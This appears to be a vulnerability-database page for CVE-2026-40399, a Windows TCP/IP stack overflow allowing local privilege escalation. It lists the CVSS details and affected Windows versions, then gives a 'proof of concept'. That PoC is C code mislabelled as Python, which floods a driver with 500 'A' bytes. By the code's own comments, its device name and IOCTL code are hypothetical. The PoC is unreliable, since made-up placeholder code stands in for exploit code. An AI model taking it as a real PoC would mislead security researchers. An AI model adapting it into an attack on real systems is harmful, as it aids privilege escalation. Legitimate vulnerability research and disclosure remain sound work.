Stack-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Windows 10
Microsoft Windows 11
Windows Server 2016
Windows Server 2019
Windows Server 2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <winsock2.h>
// Proof of Concept for CVE-2026-40399 (Conceptual)
// This code demonstrates how a malformed buffer might be sent
// to a vulnerable driver interface to trigger the overflow.
void trigger_exploit() {
HANDLE hDevice;
DWORD bytesReturned;
char maliciousBuffer[500];
// Fill buffer with pattern (e.g., 'A's)
memset(maliciousBuffer, 'A', sizeof(maliciousBuffer));
// Attempt to open the vulnerable device (Symbolic name hypothetical)
hDevice = CreateFileA("\\\\.\\TcpIpDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return;
}
printf("Sending malicious payload to trigger stack overflow...\n");
// Send the buffer to the driver via DeviceIoControl
// IOCTL code is hypothetical for this CVE
DWORD ioctlCode = 0x12345678;
BOOL result = DeviceIoControl(hDevice,
ioctlCode,
maliciousBuffer,
sizeof(maliciousBuffer),
NULL,
0,
&bytesReturned,
NULL);
if (!result) {
printf("DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("Payload sent successfully.\n");
}
CloseHandle(hDevice);
}
int main() {
trigger_exploit();
return 0;
}